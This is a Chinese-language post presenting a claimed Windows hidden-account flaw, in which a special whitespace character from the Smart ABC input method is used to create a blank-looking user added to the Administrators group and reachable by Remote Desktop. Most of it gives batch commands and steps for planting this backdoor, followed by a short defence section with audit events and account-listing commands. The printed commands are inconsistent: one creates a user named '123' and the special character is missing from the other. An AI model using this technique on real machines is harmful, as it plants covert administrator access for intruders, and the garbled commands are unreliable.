微軟全系統隱藏帳號漏洞：利用智能 ABC 特殊字元建立不見的管理者

發現一個影響所有 Windows 版本的安全漏洞：利用智能 ABC 輸入法 V9 模式的空白字元 (非一般空白鍵，碼位 0xA9+0xA1) 建立使用者名稱看似為空的隱藏帳號，且能加入 Administrators 群組。

漏洞利用步驟

1. 建立批次檔 `hideuser.bat`：

net user 123 /add
net localgroup administrators  /add

※ `` 為智能 ABC V9 輸入的特殊空白字元，**非鍵盤空白鍵 (0x20)**。

2. 以系統管理員權限執行批次檔。
3. 驗證：
   `net user` → 列表顯示空白行。
   控制台「使用者帳戶」 → 顯示空白使用者名。
   登入畫面不顯示該帳號。

遠端桌面登入隱藏帳號

無法在 MSTSC 直接輸入登入。需在「選項」→「一般」→「使用者名稱」欄位，用智能 ABC V9 輸入該特殊字元後連線。

風險與防範

• 入侵者可建立隱蔽後門，難以被一般稽核發現。
• 防範：定期用 `wmic useraccount get name,sid` 或 PowerShell `Get-LocalUser` 列出所有帳號 (含隱藏)，檢查異常 SID。
  稽核「安全性事件」4720 (建立使用者)、4722 (啟用)、4732 (加入群組)。
  限制批次檔/指令碼執行權限 (AppLocker / SRP)。

聲明： 本文僅供安全研究與防禦參考，嚴禁用於非授權滲透測試或惡意用途。